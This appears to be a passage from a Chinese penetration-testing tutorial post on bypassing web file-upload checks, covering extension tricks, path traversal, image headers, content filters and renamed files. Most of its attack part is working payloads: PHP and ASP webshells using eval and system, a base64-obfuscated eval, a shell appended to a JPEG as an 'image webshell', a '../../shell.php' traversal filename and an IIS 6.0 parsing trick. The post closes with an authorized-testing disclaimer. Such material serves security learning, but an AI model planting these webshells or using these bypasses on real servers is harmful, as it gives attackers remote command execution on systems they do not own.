师傅,现在真的还有文件上传漏洞?谁家开发这么粗心?师傅:嗯???"

admin 2026-10-18 05:14:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

shell.php%0ajpg

某些情况下换行符也会导致解析异常

3、路径穿越

filename=\"../../shell.php\"

如果后端直接把文件名拼到路径里,可能穿越到可执行目录

四、文件头绕过

现象: 后端用getimagesize()或检查文件的前N个字节来判断是否为合法图片。

绕过方法: 制作图片马。

# 在真实图片后面附加PHP代码echo '<?php eval($_POST[\"cmd\"]);?>' >> image.jpg

或者用工具生成:

copy normal.jpg + shell.php image.jpg

这样文件头部是正常的图片格式(JFIF、PNG),getimagesize()能正常识别,但文件末尾藏着PHP代码

如果后端只检查文件头不检查内容,这个图片马就能上传成功

常见文件头:

文件类型 文件头(Hex) 文件头(ASCII)
JPEG FF D8 FF E0 ÿØÿà
PNG 89 50 4E 47 .PNG
GIF 47 49 46 38 GIF8
PDF 25 50 44 46 %PDF

五、文件内容绕过

现象: 后端检查了文件内容是否有恶意代码(比如扫描<?php)。

绕过方法:

  1. 短标签绕过
<? eval($_POST['cmd']); ?>          // 标准写法<?= system($_GET['cmd']); ?>        // 短标签<% eval request(\"cmd\") %>           // ASP风格

如果后端只扫<?php,用短标签或ASP风格就能绕过

2、编码绕过

<?php$cmd = base64_decode(\"c3lzdGVtKCRfR0VUWydjcmRdKTs=\");eval($cmd);?>

把攻击代码变成Base64编码,规避关键字检测

六、文件名重命名绕过

现象: 后端强制重命名文件为时间戳.jpg,让你无法访问原文件名

绕过方法:

  1. 找文件路径回显

如果上传后系统返回了文件保存路径,直接访问那个路径

  1. 猜路径

上传shell.php,即使被重命名成20240101\_123456.jpg,如果系统没有改扩展名,就生成一个图片马,用图片马的路径配合解析漏洞

  1. 利用解析漏洞

如果服务器是IIS 6.0,/upload/test.asp/1.jpg这种路径会把jpg当成asp解析。名字怎么改都不影响

层层突破,是有一定难度!

吃不得苦,就不要学网安,人家也不放心交系统给你运维!

⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试